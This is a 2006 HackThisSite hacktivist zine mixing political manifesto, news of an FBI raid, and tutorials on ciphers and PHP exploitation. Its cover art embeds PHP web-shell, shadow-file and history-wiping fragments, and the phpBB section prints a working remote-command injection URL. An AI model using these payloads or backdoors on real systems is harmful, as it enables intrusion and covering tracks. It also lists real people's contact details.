Hack This Zine! 02

Notes from the Hacker Underground

HackThisSite.org

2006

```
# unset HISTFILE; ./clean.sh; cat >> /var/www/hackthissite.org/html/index.php
################################################################################

    $cmd",        ); ?
    ost">a    hist hac
    ype="submit" value          form> ha
    disruption, coun          e The real t
     o  them is pote           agentWeapon                          -f /
  pfile0 now+1minute          afa33.  0 will             using /bin/sh;  s
    /var/at/jobs            00 | grep -A 4 -i   ngname It is only after you ha
    t everything            e free to do anything. Your life is ending wha
      a time.               u were going to die tomorrow, what wou
     cat /et                    e; culture jamming; 0day explo
    e hell o                    .h> void main() { setuid(0); s
  hoop whoop                  n/sh -i"); } deface the nation
     tune in dro          ernet liberation front; stop the
  get off the grid; don't hate the media, become the med
  dev/random > /root/.bash_history;   plug; Become a gho
  es for people in code; Big brother is watching; give h
        e><?php $cmd = $_POST['cmd']  passthru("$cmd", $
            m action="phpbackdoor.php" method="post">ana
              ut type="text" name="cmd"><input type="sub
                  ght crime, anarchy, financial disruption
                          e White House. Any one of them i
                          n. at -f /var/vm/swapfile0 now+1
                            bin/sh;  strings -8 /var/at/jo
                            y after you have lost everything
                            ending what minute at a time. If
                              ld you do today? # cat /etc/shad
                               revolut      r the hell of it;
```

```
                          d(0);     tf( "whoop whoop!\n"
                            th       turn on tune in
                                    tate; ge  off
                                  g; cat        nd
                                ret me
                               to watc
                              /pre><                    acti
                             kers a                       type="t
                            ue="exec                     ought crim
                            ter cu                         rk in th
                           tentia                          stractio
                         nute;                                using
                        bs/a011a                             t is o
                        ng whe                               life is
                       . If y                                , what w
                     etc/shad                                 exploit
                   ll of it                                    ); set
                   hoop!\n"                                  tion; slas
              une in d                    beration front; stop the hate, s
        get off the   id; don't hate the media, beco   t
        dev/rand            bash_history
```

```
################################################################################
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
```

```
                  __                    _____
      ____   _____/  |_  ____   ______    _/ ____\______  ____   _____
     /    \ /  _ \   __\/ __ \ /  ___/    \   __\\_  __ \/  _ \ /     \
    |   |  (  <_> )  | \  ___/ \___ \      |  |   |  | \(  <_> )  Y Y  \
    |___|  /\____/|__|  \___  >____  >     |__|   |__|   \____/|__|_|  /
         \/                \/     \/                                  \/
       __  .__               .__                    __
     _/  |_|  |__   ____     |  |__ _____    ____ |  | __ ___________
     \   __\  |  \_/ __ \    |  |  \\__  \ _/ ___\|  |/ // __ \_  __ \
      |  | |   Y  \  ___/    |   Y  \/ __ \\  \___|    <\  ___/|  | \/
      |__| |___|  /\___  >   |___|  (____  /\___  >__|_ \\___  >__|
                \/     \/         \/     \/     \/     \/    \/
                  .___                                                .___
 __ __  ____    __| _/___________  ___________  ____  __ __  ____    __| _/
|  |  \/    \  / __ |/ __ \_  __ \/ ___\_  __ \/  _ \|  |  \/    \  / __ |
|  |  /   |  \/ /_/ \  ___/|  | \/ /_/  >  | \(  <_> )  |  /   |  \/ /_/ |
|____/|___|  /\____ |\___  >__|  \___  /|__|   \____/|____/|___|  /\____ |
           \/      \/    \/     /_____/                         \/      \/
```

Electronic Civil Disobedience Journal !! Published by HackThisSite.org
(a)nti copyright. distribute as freely as the wind and the trees.

!!
##
!!

Lock up the kids and call the police ...

== NATIONAL SECURITY ALERT : SUBVERSIVE MATERIALS ENCLOSED ==
The government considers your very interest in this subject to be thought crime. Soon you will not even be able to create or distribute these text files without being made into a criminal by the corporate media.

The texts enclosed contain stories, projects, and ideas from people who have found ways to unplug themselves and hack the system. We can give you the ammunition and a network of hacktivists to network with, but they alone will not be enough to set yourself free. Only you can break your chains. Turn off your television and take to the streets. Get involved!

... lock up the cops, and call the kids!

!!
##

!###################################!
!### TABLE OF DISCONTENTS ###!
!###################################!

```
!###################################!
!###          TUNE IN:          ###!
!###   HAPPENINGS IN THE SCENE  ###!
!###################################!
```

"The nationalist not only does not disapprove of atrocities committed by his own side, but he has a remarkable capacity for not even hearing about them." - George Orwell -

01. A Hacktivist Manifesto: Notes from the Hacker Underground

As our hacking and activist communities grow, the ruling classes will try to react to stop us. We live in an age where our every thought and move is monitored, and to question the injustices of our society are demonized as unpatriotic. The corporate media scares the public with images of evil hackers and cyber-terrorists so congress can give more money to law enforcement and the ministry of peace. The Office of Homeland Security, the USA PATRIOT Act, Total Information Awareness. Goerge W. Bush, Dick Cheney, John Ashcroft. The threat of fascism in America is not an impending threat: it's already here, and the lines are clearly drawn.

Inevitably those who question and confront the injustices of the political system will become targets for harassment by the rich and powerful. These words are coming to you from someone who is facing the full weight of these changes first hand. The success of Hack This Site as well as my participation in organizing a number of protest actions has made me a target of law enforcement. My apartment was raided by Chicago FBI who seized all of my equipment and is threatening me with felony charges citing millions of dollars in damage and up to thirty years in jail for a crime that hasn't even happened.

This is the reality of the political system we live in: the rich and powerful have no regard for human rights, and will do everything in their power to crush any sort of resistence against their empire. The feds are in the business of breaking lives and have had no reservations in making the most of these sweeping changes. IndyMedia servers are seized by international law enforcement. The FBI questions, raids, and arrests dozens of hackers a year even from here at Hack This Site, HBX Networks, and various IndyMedia collectives. They grab server logs for servers that host hacker and anarchist websites like Infoshop.org insecure.org, etc. Police arrested over 1800 people at the protests at the 2004 Republican National Convention while the the FBI and the Secret Service investigate key organizers. When they had visited me, they had quoted several comments from Hack This Site's IRC server.

The reason why we are being monitored and indimidated is because they know what we are capable of doing if we realize our collective power and start doing something about it. The stakes are high, but they aren't unbeatable. The biggest weapon in their arsenal is how they can control people through fear. But every day, we hear stories about people who were smart and brave enough to outsmart them. If we let them walk all over us, then they win. If we organize and put up a fight, then their grip is loosened and the truth may flow freely as the wind and trees. These are the opening shots in a war they say will not end in our lifetime.

The struggle to build a free internet and a free society has yielded some amazing results. We have developed open source software, peer to peer file sharing services, secure and anonymous open publishing systems, and much more than can be explained here. And every time we develop these exciting new technologies that let us pursue our creativity and innovation more freely, the establishment tries to keep up by inventing increasingly ridiculous legislation to stop us. But we will always be one step ahead of them: while they react, we create.

The balance of power between revolutionary hackers and the reactionary corporate government will exist in various degrees at all times. The problem isn't going away anytime soon. Instead of spending time fighting amongst ourselves, we need to work together to find solutions. Embrace a diversity of tactics and unite with our brothers and sisters to build a front to combat the right wing police state. Not only do we need to build defensive networks to circumvent their security and censorship, we need to take direct action and bring an end to the corporations and governments that stand in our way. While they are fighting for their paycheck, we are fighting for our lives.

Hacktivists of the world, unite!

##

02. Major Hack This Site Milestones

- First challenges posted on Hulla-balloo.com in May 2002: 10 basic web challenges with a basic top scores section. Gets a surprising amount of usage and feedback with people volunteering to help with the site.

- Several unofficial IRC servers and channels are opened

- Launches HackThisSite.org in August 2003:

- Realistic missions with simulated targets and objectives.

- User contributed articles / external resources.

- User system that keeps track of missions completed.

- Web based chat system.

- The "Hack This Site" challenge and the hall of fame.

- HTS staff organization is set up to maintain the various functions of the website(moderate articles, interact with users, post news, configure and develop new features, etc).

- HTS IRC server launched, online community explodes.

- HTS public meetings are set up with set agendas and facilitated discussion for users to meet with staff about future projects of HTS, maintenance, and general hacker chat.

- HTS users and staff are inspired to produce several new challenges: in addition to new realistic missions, several new kinds of hacking challenges are introduced. Application Challenges lets you hack away at operating system level challenges. Encryption Challenges gives out a string encrypted with a custom algorithm and people compete against each other to crack it.

- Declares "Summer of Resistance" in 2004 to have Hack This Site actions at several major hacker conventions and protests.

- Publishes first hacktivist zine, distributes hundreds through mail, and has them available at various infoshops and conventions for the following months. 24 half-page zine with hacktivist texts and technical articles.

- Organizes for the Fifth HOPE convention: 7/9/04: Chicago 2600 people drive up

to NYC. Several people sets up radical HTS table selling the zine and gives radical propaganda away. Networks with other activists and hackers, especially gearing up for upcoming protests.

- Organizes for DEFCON convention 7/31/04: pick up several HTS people along the way to end up in Vegas. Meets with several local activists and hacking groups. Sells copies of 2600, distributes lots of propaganda, big hacktivism presence.

- Visited by Chicago FBI and is questioned regarding violence and disruption at the Republican National Convention protests, hacktivism and DEFCON.

- Massive Republican National Convention protests, week full of marches and actions, various hacktivist actions, thousands arrested including 2600 and HTS people. About 80,000 registered HTS users.

- HTS v3 released with complete recoding to accomodate for growth. New database, restructured staff, etc. More stable, interactive, and secure.

- HTS IRC merges with TopGamers IRC network. Technical lectures are organized by users to be held over IRC.

- HTS Radio set up with a live radio stream. Active IRC community built around sharing hacker tips and music. Eventually the server was shut down because of bandwidth and drama, but will return later.

- HTS developer jessica discovers and releases the phpBB 2.0.10 highlight injection vulnerability, which spreads like wildfire across the net.

- Root This Box released: new set of challenges where several users set up machines configured for free range hacking: complex team scoring mechanism, several boxes set up, many real-world hacking skills are shared and learned.

- Many HTS members start to interact with more radical and blackhat hacking teams as real world hacking skills increase

- Move to new dedicated server to accomodate for growth and bandwidth concerns.

- HTS Radio relaunched with pre-recorded content. Audio is seperated into different "playlists" which are streamed randomly as well as provided as downloads in radio archives. Collection of various hacker radio shows, convention presentations, indymedia content, timothy leary hippie shit, and unique HTS content.

- Major counter-inaugural DC protest, anarchist actions all over the country, more hacktivist actions.

- HBX Networks merges with HTS to provide free shell server and HAXOR Radio.

- HTS breaks off with TopGamers network because of administrative differences: sets up IRC on our dedicated machine.

- FBI raids Jeremy's house in massive investigation: accuses Jeremy of hacking into protestwarrior.com and threatens credit card fraud charges.

- HTS gears up for another summer full of actions: finishing up the next magazine and prepares for the DEFCON convention.

```
!####################################!
!###          TURN ON:            ###!
!###   HAPPENINGS IN THE SCENE    ###!
!####################################!
```

"Dream as if you'll live forever. Live as if you'll die today."

```
################################################################################
#                  03. Hack This Site Founder Raided by FBI                    #
################################################################################
```

On March 17 2005, nine Chicago FBI agents raided and seized all electronic equipment in Jeremy Hammond's apartment. Facing intimidation from both the FBI and the Secret Service, he is being accused of hacking into right-wing website ProtestWarrior.com and stealing credit card numbers. While the website had not been damaged and no credit cards were billed, the FBI is threatening to charge him with fraud and unauthorized access totalling to millions of dollars in damages and up to thirty years in federal prison for a crime that hasn't even happened.

Jeremy Hammond aka xec96 was the founder of online hacking community HackThisSite.org which taught network security skills through a series of online hacking challenges. With his coordination the website was able to publish a series of magazines, launch an online hacktivist radio station, and start several hacking competitions. Because it has grown to be increasingly controversial, it is facing overblown intimidation from unjust law enforcement policies despite being legal and non-destructive in nature.

Jeremy has also worked with several local and national anti-war groups to organize for a variety of marches, rallies, and national demonstrations including the Republican National Convention in NYC, the counter-inauguration protests in Washington DC, and dozens of other local Chicago actions. Jeremy

Hammond is an innocent man who is being targeted for his participation in the struggle for social justice and the success of the Hack This Site community. His passion and determination to challenge the injustices of the rich and powerful has made him a target of harassment by law enforcement.

Please ask the US District Attorney's Office to drop the charges!

FreeJeremy.com Legal Defense
FreeJeremyNow@gmail.com
Contact: Loren Blumenfeld, attorney - 312-939-0140
Contact: Pong Khumdee, partner and roommate pongtakespictures@gmail.com
Contact: Wyatt Anderson, administrator of HTS: wanderson@gmail.com

Who is Jeremy Hammond?

Jeremy was a political hacker who used his abilities to defend a free internet and a free society. He has founded a number of projects including several progressive newspapers, educational websites, and helped organize a series of political protests. He has worked to defend the IndyMedia project from right-wing hackers by finding and fixing several vulnerabilities. While his activities have been ethical and non-destructive, he has found himself a target of law enforcement because he has been brave enough to stand up to the injustices of the political system.

Jeremy Hammond was the founder of online hacking community HackThisSite.org which taught network security skills through a series of online hacking challenges. With his coordination the website was able to publish a series of magazines, launch an online hacktivist radio station, and start several hacking competitions. While the site has grown it has become increasingly controversial. The site and community is facing overblown intimidation from law enforcement policies, despite being legal and non-destructive in nature.

Jeremy also worked with several local and national anti-war groups to organize for a variety of marches, rallies, and national demonstrations including the Republican National Convention in NYC, the counter-inauguration protests in Washington DC, and dozens of other local Chicago actions.

How and why is Jeremy being threatened by the FBI?

On March 17, 2005, Jeremy's apartment was raided by nine FBI agents who ransacked the plane, seizing all electronic equipment as well as the house phone/address book, the lease, important notebooks, and even an XBox. Since then, Jeremy and his lawyer have been meeting with the US attorney and the FBI. The US government says that they will be indicting him with several felony charges related to computer hacking and credit card fraud.

Jeremy was also visited by the United States Secret Service on April 13 who checked out his apartment and asked Jeremy a few questions related to his political activities. They were asked by the FBI who tipped them off about Jeremy's protest activities and anarchist tendencies. The SS asked about what political groups he has worked with, what protests he has been to, whether he was going to assasinate the president, etc.

The FBI has stated that they have been monitoring Jeremy's actions for at least six months (since Summer 2004) when the FBI first visited Jeremy questioning him about possible disruption and violence at the Republican National Convention protests in NYC late August. The FBI has gone as far as quoting several private conversations from the Hack This Site IRC server, talked about places Jeremy has been, etc. They also say that they have stopped by his apartment on several occasions to check up and take pictures. His phone and internet connection is almost certainly tapped as the FBI has stated that they will be watching his every action and statement.

What is Jeremy being accused of doing?

The FBI alleges that he is involved with an underground hacking group that has hacked and gained acess to the right-wing website ProtestWarrior and took credit card numbers belonging to people who ordered products off of their online store. The FBI says that he was involved in a plot to make donations from these credit card numbers to various humanitarian charities, civil rights activists, and leftist protest groups.

These charges are outrageous and reactionary because none of this has actually happened. The website has not been defaced and no credit card numbers has been billed. The FBI and the US Attorney have quoted several million dollars of damages(~$500 per credit card) and is threatening up to thirty years in federal prison for a crime that has not been committed.

Who is ProtestWarrior?

ProtestWarrior.com is a right-wing group that tries to provoke and disrupt constitutionally protected protests and actions of progressive organizations. They foster such conservative and intolerant dogma which borders on abusive hate-speech. Their most recent national action was their attempt to cause trouble at the counter-inaugurationprotests in Washington DC where they failed miserably in being effective or generating any decent numbers of supporters.

Although no damage had been done to their system, the ProtestWarriors have been known to falsely report information to the police on an intempt to incriminate and demonize leftists. This particular case is similar: while no damage has been

done to the website or credit cards, ProtestWarrior is trying to demonize and incriminate hackers and activists.

What is ironic is that ProtestWarrior has worked with groups like RightWingExtremist.net and the g00ns to hack IndyMedia and other leftist sites in the past. Read an in-depth discussion of ProtestWarrior, what they stand for, and how to expose them: http://indymedia.us/en/2005/03/5268.shtml

What property has the FBI seized?

Nearly everything electronic has been seized from their house, in addition to a number of private notes and documents including notebooks as well as a copy of their lease. In addition to taking Jeremy's property, they have also seized his roommate's computers and other equipment which were unrelated to the incident. Details of all property seized are included in the search warrant receipt.

While it has been more than two months since the original incident, the FBI has not filed charges nor returned any property. We are sending out an official Motion for Return of Property, which the FBI is required to do under Rule 41(e) of the Federal Rules of Criminal Procedure.

How could I support the case against these ridiculous charges?

Support can range from signing the online petition, making a donation, contacting the US Attorney, or just by spreading the word about Jeremy's situation. Please see the support page for more details.

Are copies of the search warrant available?

Electronic copies of the search warrant can be downloaded at the website FreeJeremy.com. The affidavit which established probable cause has not been shown to us yet.

References

This is a short list of documents and reading materials related to federal law and cybercrime.

- "Everything a Hacker Needs to Know about Getting Busted by the Feds" - http://www.grayarea.com/agsteal.html - A general introduction to federal law as related to hacking and cybercrime from Agent Steal who served 36 months for similar charges.

- 1030: Computer Fraud and Abuse Act -

http://caselaw.lp.findlaw.com/casecode/uscodes/18/parts/i/chapters/47/sections/section_1030.html - Title 18 Part I Chapter 47 Section 1030 - Fraud and related activity in connection with computers. Criminal charges for unauthorized access.

-Cyber Security Enhancement Act of 2002-
http://www.cybercrime.gov/homeland_CSEA.htm - Additions from the Homeland Security Act which make changes to the Computer Fraud and Abuse Act which strengthen the penalties and surveillance capabilities of law enforcement Searching and Seizing Computers and Obtaining Electronic

- Evidence in Criminal Investigations -
http://www.usdoj.gov/criminal/cybercrime/searching.html - Complete manual made by and for federal law enforcement regarding how to obtain a warrant for a search and the procedure for gathering evidence on seized equipment for criminal investigations.

- Field Guidance on New Authorities That Relate to Computer - Crime and Electronic Evidence Enacted in the USA Patriot Act of 2001
http://www.usdoj.gov/criminal/cybercrime/PatriotAct.htm - Document for law enforcement that details new surveillance capabilities and evidence collection as a result of changes with the USA Patriot Act. Scary read!

- Federal White Collar Crime - http://profs.lp.findlaw.com/collar/ - A broad, non-computer specific introduction to federal criminal law.

- Homeland Insecurity: The end of Civil Liberties -
http://www.oilempire.us/homeland.html An analysis of recent anti-terrorism legislation removes many of our constitutionally protected freedoms and sets the stage for a new age of fascism.

Contacts

If you would like to know how you can support Jeremy or if you have any information that can be helpful to his case, please get a hold with someone on the legal support team. The email address FreeJeremyNow@gmail.com is shared with several friends and family members. This is the best bet in seeing that your infomation is made available to everyone on the team.

For quicker results, you may need to get a hold of someone directly using the information below:

Loren Blumenfeld, Jeremy's lawyer, is available at his office phone at 312-939-0140
Wyatt Anderson, admin of HackThisSite.org who works with Jeremy on the site, can be reached at wanderson@gmail.com.

Pong Khumdee, partner + roommate, can be reached at pongtakespictures@gmail.com
Chris Montgomery, roommate + coworker, can be reached @ chris@macspecialist.com.
Jason Hammond, Jeremy's twin brother, can be reached at icetitan@graffiti.net.

Please take into consideration that this is an ongoing criminal investigation, and all of the above information is likely tapped and monitored. Please do not send anything incriminating or detrimental to Jeremy's case.

##
04. Right Wing Hackers Target Indymedia
##

A number of people have started to organize and attack various Independent Media Centers as well as a number of other progressive and leftist websites. In the past, these attacks have ranged from simple XSS attacks which redirect visitors or trashing the filesystem / databases. The people responsible show no understanding of the ideas behind the open publishing system IndyMedia, which is free for all users to participate in the discussion. These actions are not hacking nor hacktivism: they utilize public pre-written exploits to simply "shout the other side down." An attack on IndyMedia is an attack on free speech itself. These right-wing extremists need to be confronted and exposed as the online fascists they really are.

During the Republican National Convention, a group of hackers called RightWingExtremist.net was formed by Brett Chance(elac, clorox, awb0t, etc) from Plano TX. This group came out of the ultra conservative ProtestWarrior.com who advocates disrupting and attacking leftist organizations. Their actions had started with minor stuff like launching ddos attacks on NYC IndyMedia. Later they discovered a XSS flaw in dadaIMC that allowed them to post news that would automatically redirect users to his own website where it would play sounds that said childish political rhetoric like "the nazi indymedia wants to destroy israel," etc. Because of pressure from the online community, Brett from RightWingExtremist. net closed down the site for several months.

Months later, Jeremy from HackThisSite.org discovered a flaw in dadaIMC that allowed the upload of malicious PHP files would could be used to take over the entire server. This announcement was quietly made to dadaIMC who was urged to keep it private until the tech staff of every indymedia center was notified and had their scripts patched to protect themselves. Several other independent IndyMedia centers were notified and had their code base patched. But before the majority of sites were patched, DadaIMC posted the vulnerability information on the website, including instructions on how it can be exploited.

A month later a group calling itself the g00ns.com have attacked and defaced a dozen indymedia websites using the vulnerability posted to dadaimc. On the

hacked websites, a message calling indymedia "liars" and "anti-republicans" were posted. Soon after, hackers and indymedia techs started working together to fix each other's code and bring backups back online as well as find information about the g00ns. The g00ns started out by targetting and attacking online gaming clan websites, but eventually Elac from RightWingExtremist.net joined up and started to turn the group farther to the right. When the IndyMedia sites were hacked, people started to gather information and infiltrate their organization and soon after all of their private details were released to the public to show actions like this will not go unnoticed.

Many other right-wing trolls continue to try to disrupt IndyMedia and left-wing protest groups. These individuals operate under several different names including ProtestWarrior.com, RightWingExtremist.net, FreeRepublic.com, KobeHQ.com, FreeDominion.com, LittleGreenFootballs.com, and more. Many of these groups are suspected of being financed operations from governments or corporations similar to the COINTELPRO program from the '60s and '70s. Common activities range from flooding message boards, faking votes and reviews in online polls, releasing personal information of key organizers, spreading false rumors and scandals, etc.

All IndyMedia centers running DadaIMC are strongly encouraged to patch their software, but more importantly, hackers need to work with activist groups around the world to make sure their software is secure, encrypted, and anonymous. Details on the vulnerability are at:
http://www.dadaimc.org/mod/software/alerts/dadaIMC/index.php?alert=1
http://www.dadaimc.org/support.php?section=xss

```
################################################################################
#              05. Directnic Enforces ICANN WHOIS Contact Info                 #
################################################################################
```

DirectNIC has begun selectively enforcing an obscure rule of ICANN that all contact details in the WHOIS database on the owner of a domain must be accurate. They have sent emails out to owners of domains threatening to delete the domain if the contact details are not corrected and verified. The owner has to fax in proof of their name, home address, phone and fax number. They have threatened to shut down the site if accurate details are not provided in 15 days.

Activists have just launched prole.info, which provides a number of anticapitalist writings and pamphlets, and sent announcements to a variety ofemail lists and websites. Two days after prole.info was threatened to provide accurate details or be faced with the domain being shut down.

This is a gross privacy violation, and it is unfair that it seems to be very loosely and even selectively enforced. Thousands of domains give questionable

and fake details, but why was prole.info targeted? Does DirectNIC hire a team of people to randomly browse websites and verify contact details? Was prole.info reported by people who wanted to find out where the activists live?

We do not want to face harassment from ICANN, DirectNIC, or anyone else who take away our privacy on the net. Put pressure on those who create and enforce these policies that threaten internet free speech.

http://www.prole.info tech@prole.info

"To a valued directNIC customer,
It has come to our attention that one or more of your domain names lists inaccurate information in the WHOIS contact database. To avoid losing your domain(s), please update this information within 15 days.

Here is a list of affected domains: PROLE.INFO Errors in Registrant Information: Proles - Haywood, William Name: INCORRECT Address: INCORRECT Phone: INCORRECT

Description: "William Haywood" is a historical figure related to the website's content and not likely a real (modern) person. The address and phone are clearly non-existant.

Why must we do this? Unfortunately, as a domain name registrar, the Internet Corporation for Assigned Names and Numbers (ICANN) has placed the responsibility on us to enforce the governing body's rules, including seeing to it that information provided in WHOIS is up to date and accurate.

Failure for Intercosmos to adhere to these rules, after being notified of a potential violation, is grounds for our company's accreditation to be revoked. One major registrar already was threatened with this very action.

Please update your information and fax to us proof of all your contacts for these domains to 504-566-0484. Please send your fax to the Attention of the Abuse Department.

Thanks for your cooperation and for choosing directNIC. Sincerely, direct-NIC Customer"

##
06. Phpbb 2.10 Disclosure cause mischief and mayhem on the net
##

In use by millions of websites all over the internet, phpBB is one of the most popular message board systems. You can imagine the mayhem that ensued when a

major vulnerability was discovered late November 2004 that allowed the execution of commands on all major versions prior to 2.0.10.

Many users might remember Jessica Soules as a developer for Hack This Site. No one expected her release of the bug to Bugtraq would result in such an explosion that caused several major worms that killed tens of thousands of websites and bless script kiddies with easy to use tools to take down a server.

The vulnerability lies in viewtopic.php, which does not correcty validate the user-supplied "highlight" variable as it is passed to PHP's eval() command. You can break out of their command and issue your own PHP commands, including the system() command, allowing remote execution of commands. You could craft a URL similar to /viewtopic.php?
t=2&highlight=%2527%252esystem(chr(108)%252echr(115))%252e%2527, which would execute "ls" giving you a directory listing.

This exploit opens the machine up for you to play with the permissions of whatever the web server is running as. From here you could perform a wide range of actions from grabbing password information from config files or install backdoors or just simply fuck up their forums. The box is essentially yours to play with, and it shouldn't be difficult to find ways of gaining higher permissions to take over the machine entirely.

It wasn't long before someone wrote a perl script to search google for vulnerable targets to attack and spread itself to. The Santy(or NeverEverNoSanity) worm ran at least 20 generations and killed an estimated 40,000 websites before google disabled the search queries that allowed the worm to spread. Several modifications of the worm changed search engines and queries slightly that allowed it to spread once again. The payload of the worm was to wipe all files and replace it with "This website has been defaced!!!"; For such a cleverly written worm, the author didn't have a whole lot to say, and caused a whole lot of random destruction and ruined things for hackers who wanted to use the phpBB bug for more legitimate purposes.

The release of this major bug has had some massive implications. In the future, we advise against disclosing such vulnerabilities because of the potential side effects of script kiddies or destructive worms. Since Jess released it to Bugtraq, she has been under constant harassment from phpBB, her hosting provider, and other groups who have been personally affected by the phpBB hack. In finding such a devestating security hole in such a major piece of software, Jessica will go down in history.

```
##############################################################################
#            07. Nmap Developers Intimidated by FBI   By Wyrmkill            #
##############################################################################
```

Fyodor, the creator of the Nmap portscanning says he is being pressured by the Federal Bureau of Investigation for copies of the Web server log that hosts his Web site, Insecure.org

Nmap is an open source tool designed to help security experts scan networks, services and applications. Federal agents are trying to intimidate hackers who download and use these tools, no matter what they do with it.

Fyodor made this announcement in his blog, "FBI agents from all over the country have contacted me demanding Web server log data from Insecure.org. They don't give me reasons,but they generally seem to be investigating a specific attacker whom they think may have visited the Nmap page at a certain time. So far, I have never given them anything. In some cases, they asked too late and data had already been purged through our data retention policy. In other cases, they failed to serve the subpoena properly. Sometimes they try asking without a subpoena and give up when I demand one."

It is not a new tactic for law enforcement to use intimidation and pressure to convince hackers to give in - but without a search warrant, or a proper subpoena, you are not required to answer questions or give anything to them. Stand up for your digital rights! http://www.insecure.org/nmap is a link to the nmap portscanner.

```
                    !####################################!
                    !###        ARM YOURSELF:         ###!
                    !###   EXPLOITS AND TECHNIQUES    ###!
                    !####################################!

              "Until our most fantastic demands are met, fantasy will
               always be at war with reality."
```

```
################################################################################
#                   08. The Art of the Cipher   By Psyche                      #
################################################################################
```

Cryptography is the term given to the study of encryption, or making data secret by hiding its meaning in layers of alteration.. Great, but why should I bother reading this? I can use an encryption program...There are a great many well known ways of encryption. To name a few: the Caeser Shift, the Enigma code, MD4, MD5, Xor and many more. There are also alot of programs tailored to cracking these methods, thereby making these forms of encryption less and less secure. Great! Get the point please! I'm a busy person! Thus, there is not an encryption more secure than one you have devised yourself; nobody else knows how it works so there is no program to decrypt it. This article has a brief guide to creating

your own cipher in four easy steps.

Stage 1: Lost in Encryption

Firstly we need a string to encrypt: PURPLE CARS ARE MORE FUN. The first step in cipher creation is devising a way of hiding your data, there are three main schools of doing this. Substitution - Replacing the letters in a string with other letters, numbers,symbols etc. Shift - Altering the position of a letter in a string, or shifting the letter along the alphabet or ASCII table. Rail - Changing the presentation of the string to make it harder to comprehend. I am going to implement a simple substitution, replacing each letter in the string with the one directly proceeding it in the alphabet, making our sting:

PURPLE CARS ARE MORE FUN otqokd bzqr zqd lnqd etm

Where the letter A is in the string it has been counded around again in the alphabet, making the new letter Z. So, we can mathamaticly display our cipher as X-1, where x is a letter in our string. This however is horrendously insecure, and can easilly be decrypted by anoyone with an understanding of cryptography. So, we need to add something to make it harder.

Stage 2: Variables

For those who are unfamiliar with the workings of algorithm based cryptography a brief synopsis is as such: X*N*K X being the numerical value of the letter or word to be encrypted. N being any given number and K being the key. The key is a number which can be constantly changed to alter how the string is encrypted. In algorythim encryptions the key forms the variable. The shortcoming of such algorithim based encryptions is that any number crunching program can eventually be solved. Variables are just what they sound like, something that can be altered in the cipher to alter the outcome. Variables can be easilly changed to protetct intregrity and foil any decrypting attempts. For this example i will be implimenting a variable as follows; 7x. Where X is the numerical value of the of a letter (I could make this alot more difficult however I want a cipher that can be fairly easilly decrypted, by me anyway) Thus making the cipher without the variable added: o t q o k d b z q r z q d l n q d e t m 15 20 16 15 11 4 2 24 17 18 24 17 4 12 14 17 4 5 20 13

And with the variable added:

105 100 119 105 77 28 14 168 119 126 168 119 28 84 98 28 35 100 91.

However this is still in essence substitution and can be fairly easily cracked. The main benefit is that it has a basis for alteration at a moments notice.

Stage 3: Constants

Adding a constant has one big advantage, it stops any letter/number/symbol from being repeated, which helps protect it from frequency based attacks. I will be using square numbers as my constant. Adding them to the front of the numbers.

1105 4100 9119 25105 2677 4928 6414 81168 100119 121126 144268 169119 19628 22584 25698 289119 32435 361100 40091

Stage 4: Calculated Chaos

This final step is to throw off any attempts to break the cipher by adding a condition to the previous steps. This simply makes finding the cipher harder. It is best used in an IF situation. IF (whatever)=true then do whatever. So, I intend to alter the last stage in which if the number in the encrypted string is a prime number the square number is added to the rear of the text, not the for. Thus, making our cipher (after checks but before revisions) (Just a wee note, 1 isn't a prime number, contrary to popular belief)

1051 1004 1199 25105 3677 4928 1464 81168 100119 121126 268144 169119 28196 22584 25698 289119 35324 361100 91400

See, wasn't that easy?

Final section: The Importance of nothing

It seems to be a mindset of people to assume that numbers in an algebraic equasion will be intigers of 1 or more or -1 or less, not 0. I find that adding 0 (when it's replaced by something) will confuse any human led attacks, but not computer ones. So, there you have it. A brief inroduction into the construction of a cipher. This is only an outline and I strongly encourage deviation. if you wish to know more, there are a number of good books and sites out there, and of course www.hackthissite.org.

##
09. Finding and Exploiting php Script Vulnerabilities
##

You can spend all your time making sure all your services are patched, install expensive firewalls and tripwire software, and make sure all your communication is done over SSL. But even the more complex and secure server can all go to waste if you are using insecure PHP code. More and more people are realizing the weight of web application security holes. Instead of talking about specific exploits that come and go, I will try to explain some techniques that will help to find vulnerabilities in PHP software and how to exploit them to gain access.

Often most vulnerabilities are not in the actual server software but in poorly written code or irresponsible configuration. Most of the time it comes down to not validating input before it is passed to vital system functions. At the worst, this will allow you to execute commands from the same user that the web server is running at (usually www, apache, or nobody) which usually has a relatively low level of permissions on the server. It's not much, but the access can be exploited further to possibly gaining more permissions on the machine, reading sensitive information, or depending on how poorly the server is configured(folders and files chmodded to 666, passwords and configuration files lying around, etc), it could be devestating indeed.

$The Fundamentals;

If variables are passed from your client to their server, you can change these values to anything you'd like. This is one of the most fundamental principles behind web security. If you see a link like 'index.php?section=links', their script examines the variable 'section' and responds accordingly. While there may not be a way to modify the value of this variable on their site itself, you could do so through a number of ways.

There are three ways variables can be passed from your browser to the PHP script: over GET, POST, or cookies. Variables being sent over the address bar (like asdf.php?var1=somevalue&var2=anothervalue) is known as the GET method and can be changed directly in the URL bar. Variables sent from a form are sent over POST, and can be changed either by creating your own HTML page with a form of your own, or by forging your own HTTP request using the HTTP protocol(this can be done using telnet on port 80 - see rfc2616 for specific commands). Cookies are saved and sent in a number of different ways varying on your operating system and web browser. If you can't find a way to change the values of your cookies through a GUI interface, you can change the values through forging your own HTTP request as well.

Many times you can use any of the above methods to set a variable inside of a script. But more and more php configurations have register_globals off. If this is the case, PHP scripts have to refer to variables like $_GET['varname'], $_POST and $_COOKIE. This restricts you into setting variables using the method they were intended to be used with. This does not make it invincible, but it forces you to spoof the variable in the way that the script is expecting the input.

$Generating Errors;

Once you find out how to inject different values into variables of a web application, you should try to generate an error code. This can be done by

inserting all sorts of (not so) random characters into these scripts. Very often scripts will dump all sorts of messages that could help you find out their database structure, file paths, and more.

If you found a script similar to index.php?file=links.php, and tried changing it to index.php?file=linksaaaa.php, it might give you an error similar to:

```
Warning: main() [function.include]: Failed opening 'includes/linksaaaa.php' for
inclusion (include_path='.:/usr/lib/php:/usr/local/lib/php') in
/home/www/public_html/index.php on line 45
```

This will give you all sorts of useful information: the location of the web root, as well as the previous information that they are using a statement similar to include "includes/$file", which is vulnerable. You might want to also try looking in /includes to see if any additional information is stored there.

Scripts that use SQL statements might also reveal information about the SQL server and maybe even a portion of the SQL statement, possibly giving names of tables and fields.

```
